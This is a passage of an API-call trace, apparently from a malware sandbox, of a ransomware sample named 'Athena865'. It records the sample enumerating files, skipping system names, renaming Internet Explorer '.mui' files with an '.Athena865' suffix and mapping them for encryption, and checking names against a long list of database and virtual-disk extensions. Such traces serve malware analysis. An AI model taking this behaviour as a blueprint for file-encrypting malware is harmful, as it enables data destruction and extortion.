(lpString=".ini") returned 4 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".ini") returned 1 [0093.652] lstrlenW (lpString=".sys") returned 4 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".sys") returned 1 [0093.652] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0093.652] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865") returned 73 [0093.652] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ieinstal.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ieinstal.exe.mui.athena865"), dwFlags=0x1) returned 1 [0093.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ieinstal.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0093.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.654] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.655] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.655] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.655] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0093.657] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0093.659] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.659] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.659] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.660] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.660] CloseHandle (hObject=0x17c) returned 1 [0093.660] CloseHandle (hObject=0x154) returned 1 [0093.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.671] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="windows") returned -1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="bootmgr") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="temp") returned -1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="pagefile.sys") returned -1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="boot") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ids.txt") returned 1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ntuser.dat") returned -1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="perflogs") returned -1 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="MSBuild") returned -1 [0093.671] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0093.671] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ielowutil.exe.mui" | out: lpString1="ielowutil.exe.mui") returned="ielowutil.exe.mui" [0093.671] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0093.671] lstrlenW (lpString="Athena865") returned 9 [0093.671] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0093.671] lstrlenW (lpString=".dll") returned 4 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".dll") returned 1 [0093.671] lstrlenW (lpString=".lnk") returned 4 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".lnk") returned 1 [0093.671] lstrlenW (lpString=".ini") returned 4 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".ini") returned 1 [0093.671] lstrlenW (lpString=".sys") returned 4 [0093.671] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".sys") returned 1 [0093.671] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0093.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865") returned 74 [0093.672] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ielowutil.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ielowutil.exe.mui.athena865"), dwFlags=0x1) returned 1 [0093.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ielowutil.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.673] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0093.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.673] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.674] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.674] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.674] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0093.676] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0093.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.695] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.695] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.696] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.696] CloseHandle (hObject=0x17c) returned 1 [0093.696] CloseHandle (hObject=0x154) returned 1 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.697] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="windows") returned -1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="bootmgr") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="temp") returned -1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="pagefile.sys") returned -1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="boot") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ids.txt") returned 1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="ntuser.dat") returned -1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="perflogs") returned -1 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="MSBuild") returned -1 [0093.697] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0093.697] lstrcpyW (in: lpString1=0x241e8a6, lpString2="iexplore.exe.mui" | out: lpString1="iexplore.exe.mui") returned="iexplore.exe.mui" [0093.697] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0093.697] lstrlenW (lpString="Athena865") returned 9 [0093.697] lstrcmpiW (lpString1="e.exe.mui", lpString2="Athena865") returned 1 [0093.697] lstrlenW (lpString=".dll") returned 4 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".dll") returned 1 [0093.697] lstrlenW (lpString=".lnk") returned 4 [0093.697] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".lnk") returned 1 [0093.697] lstrlenW (lpString=".ini") returned 4 [0093.698] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".ini") returned 1 [0093.698] lstrlenW (lpString=".sys") returned 4 [0093.698] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2=".sys") returned 1 [0093.698] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0093.698] lstrlenW (lpString="bak") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.698] lstrlenW (lpString="ba_") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.698] lstrlenW (lpString="dbb") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.698] lstrlenW (lpString="vmdk") returned 4 [0093.698] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.698] lstrlenW (lpString="rar") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.698] lstrlenW (lpString="zip") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.698] lstrlenW (lpString="tgz") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.698] lstrlenW (lpString="vbox") returned 4 [0093.698] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.698] lstrlenW (lpString="vdi") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.698] lstrlenW (lpString="vhd") returned 3 [0093.698] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.698] lstrlenW (lpString="vhdx") returned 4 [0093.698] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.698] lstrlenW (lpString="avhd") returned 4 [0093.698] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.698] lstrlenW (lpString="db") returned 2 [0093.698] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.698] lstrlenW (lpString="db2") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.699] lstrlenW (lpString="db3") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.699] lstrlenW (lpString="dbf") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.699] lstrlenW (lpString="mdf") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.699] lstrlenW (lpString="mdb") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.699] lstrlenW (lpString="sql") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.699] lstrlenW (lpString="sqlite") returned 6 [0093.699] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0093.699] lstrlenW (lpString="sqlite3") returned 7 [0093.699] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0093.699] lstrlenW (lpString="sqlitedb") returned 8 [0093.699] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0093.699] lstrlenW (lpString="xml") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.699] lstrlenW (lpString="$er") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.699] lstrlenW (lpString="4dd") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.699] lstrlenW (lpString="4dl") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.699] lstrlenW (lpString="^^^") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.699] lstrlenW (lpString="abs") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.699] lstrlenW (lpString="abx") returned 3 [0093.699] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.700] lstrlenW (lpString="accdb") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0093.700] lstrlenW (lpString="accdc") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0093.700] lstrlenW (lpString="accde") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0093.700] lstrlenW (lpString="accdr") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0093.700] lstrlenW (lpString="accdt") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0093.700] lstrlenW (lpString="accdw") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0093.700] lstrlenW (lpString="accft") returned 5 [0093.700] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0093.700] lstrlenW (lpString="adb") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.700] lstrlenW (lpString="adb") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.700] lstrlenW (lpString="ade") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.700] lstrlenW (lpString="adf") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.700] lstrlenW (lpString="adn") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.700] lstrlenW (lpString="adp") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.700] lstrlenW (lpString="alf") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.700] lstrlenW (lpString="ask") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.700] lstrlenW (lpString="btr") returned 3 [0093.700] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.701] lstrlenW (lpString="cat") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.701] lstrlenW (lpString="cdb") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.701] lstrlenW (lpString="ckp") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.701] lstrlenW (lpString="cma") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.701] lstrlenW (lpString="cpd") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.701] lstrlenW (lpString="dacpac") returned 6 [0093.701] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0093.701] lstrlenW (lpString="dad") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.701] lstrlenW (lpString="dadiagrams") returned 10 [0093.701] lstrcmpiW (lpString1="re.exe.mui", lpString2="dadiagrams") returned 1 [0093.701] lstrlenW (lpString="daschema") returned 8 [0093.701] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0093.701] lstrlenW (lpString="db-journal") returned 10 [0093.701] lstrcmpiW (lpString1="re.exe.mui", lpString2="db-journal") returned 1 [0093.701] lstrlenW (lpString="db-shm") returned 6 [0093.701] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0093.701] lstrlenW (lpString="db-wal") returned 6 [0093.701] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0093.701] lstrlenW (lpString="dbc") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.701] lstrlenW (lpString="dbs") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.701] lstrlenW (lpString="dbt") returned 3 [0093.701] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.701] lstrlenW (lpString="dbv") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.702] lstrlenW (lpString="dbx") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.702] lstrlenW (lpString="dcb") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.702] lstrlenW (lpString="dct") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0093.702] lstrlenW (lpString="dcx") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0093.702] lstrlenW (lpString="ddl") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0093.702] lstrlenW (lpString="dlis") returned 4 [0093.702] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0093.702] lstrlenW (lpString="dp1") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0093.702] lstrlenW (lpString="dqy") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0093.702] lstrlenW (lpString="dsk") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0093.702] lstrlenW (lpString="dsn") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0093.702] lstrlenW (lpString="dtsx") returned 4 [0093.702] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0093.702] lstrlenW (lpString="dxl") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0093.702] lstrlenW (lpString="eco") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0093.702] lstrlenW (lpString="ecx") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0093.702] lstrlenW (lpString="edb") returned 3 [0093.702] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0093.703] lstrlenW (lpString="epim") returned 4 [0093.703] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0093.703] lstrlenW (lpString="fcd") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0093.703] lstrlenW (lpString="fdb") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0093.703] lstrlenW (lpString="fic") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0093.703] lstrlenW (lpString="flexolibrary") returned 12 [0093.703] lstrcmpiW (lpString1="lore.exe.mui", lpString2="flexolibrary") returned 1 [0093.703] lstrlenW (lpString="fm5") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0093.703] lstrlenW (lpString="fmp") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0093.703] lstrlenW (lpString="fmp12") returned 5 [0093.703] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0093.703] lstrlenW (lpString="fmpsl") returned 5 [0093.703] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0093.703] lstrlenW (lpString="fol") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0093.703] lstrlenW (lpString="fp3") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0093.703] lstrlenW (lpString="fp4") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0093.703] lstrlenW (lpString="fp5") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0093.703] lstrlenW (lpString="fp7") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0093.703] lstrlenW (lpString="fpt") returned 3 [0093.703] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0093.703] lstrlenW (lpString="frm") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0093.704] lstrlenW (lpString="gdb") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.704] lstrlenW (lpString="gdb") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.704] lstrlenW (lpString="grdb") returned 4 [0093.704] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0093.704] lstrlenW (lpString="gwi") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0093.704] lstrlenW (lpString="hdb") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0093.704] lstrlenW (lpString="his") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0093.704] lstrlenW (lpString="ib") returned 2 [0093.704] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0093.704] lstrlenW (lpString="idb") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0093.704] lstrlenW (lpString="ihx") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0093.704] lstrlenW (lpString="itdb") returned 4 [0093.704] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0093.704] lstrlenW (lpString="itw") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0093.704] lstrlenW (lpString="jet") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0093.704] lstrlenW (lpString="jtx") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0093.704] lstrlenW (lpString="kdb") returned 3 [0093.704] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0093.704] lstrlenW (lpString="kexi") returned 4 [0093.704] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0093.705] lstrlenW (lpString="kexic") returned 5 [0093.705] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0093.705] lstrlenW (lpString="kexis") returned 5 [0093.705] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0093.705] lstrlenW (lpString="lgc") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0093.705] lstrlenW (lpString="lwx") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0093.705] lstrlenW (lpString="maf") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0093.705] lstrlenW (lpString="maq") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0093.705] lstrlenW (lpString="mar") returned 3 [0093.705] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0093.705] lstrlenW (lpString="marshal") returned 7 [0093.705] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0093.705] 